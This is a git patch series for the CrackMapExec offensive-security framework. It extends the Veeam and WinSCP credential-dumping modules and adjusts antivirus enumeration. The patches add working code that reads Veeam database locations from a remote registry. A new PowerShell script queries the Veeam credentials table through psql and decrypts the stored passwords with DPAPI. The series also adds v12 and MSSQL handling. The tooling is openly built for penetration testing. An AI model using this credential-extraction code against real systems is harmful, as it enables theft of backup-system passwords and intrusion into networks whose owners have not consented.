From 1f7f581d2d2886818eb54e670a4a5377cb83c45d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 29 May 2023 16:33:19 +0200 Subject: [PATCH 1/9] Improve exception handling in modules veeam and winscp --- cme/modules/veeam_dump.py | 6 +++--- cme/modules/winscp_dump.py | 36 +++++++++++++++++++----------------- 2 files changed, 22 insertions(+), 20 deletions(-) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index b8c850cc..38386f51 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -60,9 +60,9 @@ class CMEModule: except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.fail("No Veeam installation found") - except: - context.log.fail("UNEXPECTED ERROR:") - traceback.print_exc() + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) finally: remoteOps.finish() return [SqlDatabase, SqlInstance, SqlServer] diff --git a/cme/modules/winscp_dump.py b/cme/modules/winscp_dump.py index 99fd89a9..9503b738 100644 --- a/cme/modules/winscp_dump.py +++ b/cme/modules/winscp_dump.py @@ -161,8 +161,9 @@ class CMEModule: decPassword = "NO_PASSWORD_FOUND" sectionName = unquote(sessionName) return [sectionName, hostName, userName, decPassword] - except: - traceback.print_exc() + except Exception as e: + context.log.fail(f"Error in Session Extraction: {e}") + context.log.debug(traceback.format_exc()) finally: remoteOps.finish() return "ERROR IN SESSION EXTRACTION" @@ -197,9 +198,9 @@ class CMEModule: userNames.remove(".DEFAULT") regex = re.compile(r"^.*_Classes$") userObjects = [i for i in userNames if not regex.match(i)] - except: - context.log.fail("Error handling Users in registry") - traceback.print_exc() + except Exception as e: + context.log.fail(f"Error handling Users in registry: {e}") + context.log.debug(traceback.format_exc()) finally: remoteOps.finish() return userObjects @@ -232,9 +233,9 @@ class CMEModule: for i in range(users): userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) - except: - context.log.fail("Error handling Users in registry") - traceback.print_exc() + except Exception as e: + context.log.fail(f"Error handling Users in registry: {e}") + context.log.debug(traceback.format_exc()) finally: remoteOps.finish() return userObjects @@ -299,8 +300,9 @@ class CMEModule: context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject) try: rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject) - except: - traceback.print_exc() + except Exception as e: + context.log.fail(f"Error unloading user {userObject} in registry: {e}") + context.log.debug(traceback.format_exc()) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) finally: remoteOps.finish() @@ -376,17 +378,17 @@ class CMEModule: except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No WinSCP config found in registry for user {}".format(userObject)) - except Exception: - context.log.fail("Unexpected error:") - traceback.print_exc() + except Exception as e: + context.log.fail(f"Unexpected error: {e}") + context.log.debug(traceback.format_exc()) self.unloadMissingUsers(context, connection, unloadedUserObjects) except DCERPCException as e: # Error during registry query if str(e).find("rpc_s_access_denied"): context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.") - except: - context.log.fail("UNEXPECTED ERROR:") - traceback.print_exc() + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) finally: remoteOps.finish() @@ -425,7 +427,7 @@ class CMEModule: self.decodeConfigFile(context, confFile) except: context.log.fail("Error! No config file found at {}".format(self.filepath)) - traceback.print_exc() + context.log.debug(traceback.format_exc()) else: context.log.display("Looking for WinSCP creds in User documents and AppData...") output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True) From 7e5bf7bc6135bfdd133773a42170077451fa98ec Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 29 May 2023 17:26:50 +0200 Subject: [PATCH 2/9] Veeam Module now supports Veeam v12 if MsSql is used --- cme/modules/veeam_dump.py | 75 +++++++++++++++++++++++++++++++-------- 1 file changed, 61 insertions(+), 14 deletions(-) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index 38386f51..d88fa971 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -14,7 +14,6 @@ from cme.helpers.powershell import get_ps_script class CMEModule: """ Module by @NeffIsBack - """ name = "veeam" @@ -30,6 +29,8 @@ class CMEModule: def options(self, context, module_options): """ No options + + Info: Currently only supports Databases hosted on MSSQL. PostgreSql is not supported yet. """ pass @@ -46,20 +47,66 @@ class CMEModule: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Veeam\\Veeam Backup and Replication", - ) - keyHandle = ans["phkResult"] + # Veeam v12 added the possibility to use postgresql instead of mssql. Extracting from postgresql is not supported yet though. + try: + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations", + ) + keyHandle = ans["phkResult"] - SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] - SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] - SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0] - except DCERPCException as e: - if str(e).find("ERROR_FILE_NOT_FOUND"): - context.log.fail("No Veeam installation found") + if database_config == "PostgreSql": + context.log.success("Veeam v12 installation found!") + context.log.fail("Veeam is configured to use PostgreSql to store credentials. This is not supported yet.") + raise NotImplementedError("PostgreSql is not supported yet") + elif database_config == "MsSql": + context.log.success("Veeam v12 installation found!") + + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql", + ) + keyHandle = ans["phkResult"] + + SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + except NotImplementedError: + raise NotImplementedError("PostgreSql is not supported yet") + except DCERPCException as e: + if str(e).find("ERROR_FILE_NOT_FOUND"): + context.log.debug("No Veeam v12 installation found") + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) + + # Veeam v11 check + try: + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Veeam\\Veeam Backup and Replication", + ) + keyHandle = ans["phkResult"] + + SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + + context.log.success("Veeam v11 installation found!") + except DCERPCException as e: + if str(e).find("ERROR_FILE_NOT_FOUND"): + context.log.debug("No Veeam v11 installation found") + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) + + except NotImplementedError as e: + pass except Exception as e: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) @@ -97,5 +144,5 @@ class CMEModule: SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection) if SqlDatabase and SqlInstance and SqlServer: - context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance)) + context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer) From 1a9dfe81ac50162a0c9087c1113f75416ffa8457 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 1 Jun 2023 00:05:19 +0200 Subject: [PATCH 3/9] Added PostgreSQL support for veeam dumper module --- ...am-creds_dump.ps1 => veeam_dump_mssql.ps1} | 2 +- .../veeam_dump_postgresql.ps1 | 22 +++++ cme/modules/veeam_dump.py | 91 +++++++++++-------- 3 files changed, 75 insertions(+), 40 deletions(-) rename cme/data/veeam_dump_module/{veeam-creds_dump.ps1 => veeam_dump_mssql.ps1} (89%) create mode 100644 cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 diff --git a/cme/data/veeam_dump_module/veeam-creds_dump.ps1 b/cme/data/veeam_dump_module/veeam_dump_mssql.ps1 similarity index 89% rename from cme/data/veeam_dump_module/veeam-creds_dump.ps1 rename to cme/data/veeam_dump_module/veeam_dump_mssql.ps1 index 6b766edb..3eabaaed 100644 --- a/cme/data/veeam_dump_module/veeam-creds_dump.ps1 +++ b/cme/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -3,7 +3,7 @@ $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString diff --git a/cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 new file mode 100644 index 00000000..62a78ef1 --- /dev/null +++ b/cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -0,0 +1,22 @@ +$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" +$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" +$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" + +$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv + +if ($output.count -eq 0) { + Write-Host "No passwords found!" + exit +} + +Add-Type -assembly System.Security +#Decrypting passwords using DPAPI +$output | ForEach-Object -Process { + $EnryptedPWD = [Convert]::FromBase64String($_.password) + $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $enc = [system.text.encoding]::Default + $_.password = $enc.GetString($ClearPWD) +} + +Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index d88fa971..0388f05b 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -23,23 +23,30 @@ class CMEModule: multiple_hosts = True def __init__(self): - with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile: - self.psScript = psFile.read() + with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile: + self.psScriptMssql = psFile.read() + with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile: + self.psScriptPostgresql = psFile.read() def options(self, context, module_options): """ No options - - Info: Currently only supports Databases hosted on MSSQL. PostgreSql is not supported yet. """ pass def checkVeeamInstalled(self, context, connection): context.log.display("Looking for Veeam installation...") + + # MsSql SqlDatabase = "" SqlInstance = "" SqlServer = "" + # PostgreSql + PostgreSqlExec = "" + PostgresUserForWindowsAuth = "" + SqlDatabaseName = "" + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() @@ -47,36 +54,31 @@ class CMEModule: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] - # Veeam v12 added the possibility to use postgresql instead of mssql. Extracting from postgresql is not supported yet though. + # Veeam v12 check try: - ans = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations", - ) + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",) keyHandle = ans["phkResult"] database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0] + context.log.success("Veeam v12 installation found!") if database_config == "PostgreSql": - context.log.success("Veeam v12 installation found!") - context.log.fail("Veeam is configured to use PostgreSql to store credentials. This is not supported yet.") - raise NotImplementedError("PostgreSql is not supported yet") - elif database_config == "MsSql": - context.log.success("Veeam v12 installation found!") + # Find the PostgreSql installation path containing "psql.exe" + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",) + keyHandle = ans["phkResult"] + PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe" - ans = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql", - ) + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",) + keyHandle = ans["phkResult"] + PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0] + SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + elif database_config == "MsSql": + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",) keyHandle = ans["phkResult"] SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] - except NotImplementedError: - raise NotImplementedError("PostgreSql is not supported yet") except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No Veeam v12 installation found") @@ -86,11 +88,7 @@ class CMEModule: # Veeam v11 check try: - ans = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Veeam\\Veeam Backup and Replication", - ) + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",) keyHandle = ans["phkResult"] SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] @@ -112,18 +110,37 @@ class CMEModule: context.log.debug(traceback.format_exc()) finally: remoteOps.finish() - return [SqlDatabase, SqlInstance, SqlServer] + + # Check if we found an SQL Server of some kind + if SqlDatabase and SqlInstance and SqlServer: + context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') + credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) + self.printCreds(context, credentials) + elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: + context.log.success(f"Found Veeam DB {SqlDatabaseName} on an PostgreSQL Instance! Extracting stored credentials...") + credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) + self.printCreds(context, credentials) def stripXmlOutput(self, context, output): return output.split("CLIXML")[1].split(" Date: Thu, 1 Jun 2023 00:17:17 +0200 Subject: [PATCH 4/9] Fix minor Format issue --- cme/modules/veeam_dump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index 0388f05b..d7658496 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -117,7 +117,7 @@ class CMEModule: credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) self.printCreds(context, credentials) elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: - context.log.success(f"Found Veeam DB {SqlDatabaseName} on an PostgreSQL Instance! Extracting stored credentials...") + context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...') credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) self.printCreds(context, credentials) From 77a45f9b2f7090a1fce37a17d0d69d422e1f3c83 Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Thu, 1 Jun 2023 01:16:37 +0200 Subject: [PATCH 5/9] Add Marshall to veeam module contributions --- cme/modules/veeam_dump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index d7658496..24831824 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -13,7 +13,7 @@ from cme.helpers.powershell import get_ps_script class CMEModule: """ - Module by @NeffIsBack + Module by @NeffIsBack, @Marshall-Hallenbeck """ name = "veeam" From 3e1a692304f401514d2eb3e4b7dfe94973b8e624 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 1 Jun 2023 14:58:28 +0200 Subject: [PATCH 6/9] Remove sophos av --- cme/modules/enum_av.py | 47 ------------------------------------------ 1 file changed, 47 deletions(-) diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index edeacfa2..94f861ac 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -349,52 +349,5 @@ conf = { ], "pipes": [], }, - { - "name": "Sophos Intercept X", - "services": [ - { - "name": "SntpService", - "description": "Sophos Network Threat Protection" - }, - { - "name": "Sophos Endpoint Defense Service", - "description": "Sophos Endpoint Defense Service" - }, - { - "name": "Sophos File Scanner Service", - "description": "Sophos File Scanner Service" - }, - { - "name": "Sophos Health Service", - "description": "Sophos Health Service" - }, - { - "name": "Sophos Live Query", - "description": "Sophos Live Query" - }, - { - "name": "Sophos Managed Threat Response", - "description": "Sophos Managed Threat Response" - }, - { - "name": "Sophos MCS Agent", - "description": "Sophos MCS Agent" - }, - { - "name": "Sophos MCS Client", - "description": "Sophos MCS Client" - }, - { - "name": "Sophos System Protection Service", - "description": "Sophos System Protection Service" - } - ], - "pipes": [ - {"name": "SophosUI", "processes": [""]}, - {"name": "SophosEventStore", "processes": [""]}, - {"name": "sophos_deviceencryption", "processes": [""]}, - {"name": "sophoslivequery_*", "processes": [""]}, - ], - }, ] } From 3be29d141b0dd81c6dec25a444d56776819e6f6e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 1 Jun 2023 14:58:52 +0200 Subject: [PATCH 7/9] Readd Sophos --- cme/modules/enum_av.py | 47 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index 94f861ac..edeacfa2 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -349,5 +349,52 @@ conf = { ], "pipes": [], }, + { + "name": "Sophos Intercept X", + "services": [ + { + "name": "SntpService", + "description": "Sophos Network Threat Protection" + }, + { + "name": "Sophos Endpoint Defense Service", + "description": "Sophos Endpoint Defense Service" + }, + { + "name": "Sophos File Scanner Service", + "description": "Sophos File Scanner Service" + }, + { + "name": "Sophos Health Service", + "description": "Sophos Health Service" + }, + { + "name": "Sophos Live Query", + "description": "Sophos Live Query" + }, + { + "name": "Sophos Managed Threat Response", + "description": "Sophos Managed Threat Response" + }, + { + "name": "Sophos MCS Agent", + "description": "Sophos MCS Agent" + }, + { + "name": "Sophos MCS Client", + "description": "Sophos MCS Client" + }, + { + "name": "Sophos System Protection Service", + "description": "Sophos System Protection Service" + } + ], + "pipes": [ + {"name": "SophosUI", "processes": [""]}, + {"name": "SophosEventStore", "processes": [""]}, + {"name": "sophos_deviceencryption", "processes": [""]}, + {"name": "sophoslivequery_*", "processes": [""]}, + ], + }, ] } From 34703125c4c550505401a543a554dd21a4983029 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 1 Jun 2023 10:31:14 -0400 Subject: [PATCH 8/9] fix(veeam): add in try/except for shutting down remote registry --- cme/modules/veeam_dump.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index 24831824..28b02792 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -109,7 +109,10 @@ class CMEModule: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) finally: - remoteOps.finish() + try: + remoteOps.finish() + except Exception as e: + context.log.debug(f"Error shutting down remote registry service: {e}") # Check if we found an SQL Server of some kind if SqlDatabase and SqlInstance and SqlServer: From 2b8ecb3025eff7414553ccfd308604246f6a06fe Mon Sep 17 00:00:00 2001 From: zblurx <68540460+zblurx@users.noreply.github.com> Date: Thu, 8 Jun 2023 22:58:01 +0200 Subject: [PATCH 9/9] fix logger in dpapi function (#50) --- cme/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 2e27366d..aa6f6f44 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -1534,7 +1534,7 @@ class smb(connection): self.logger.debug(f"Could not get masterkeys: {e}") if len(masterkeys) == 0: - logging.fail("No masterkeys looted") + self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")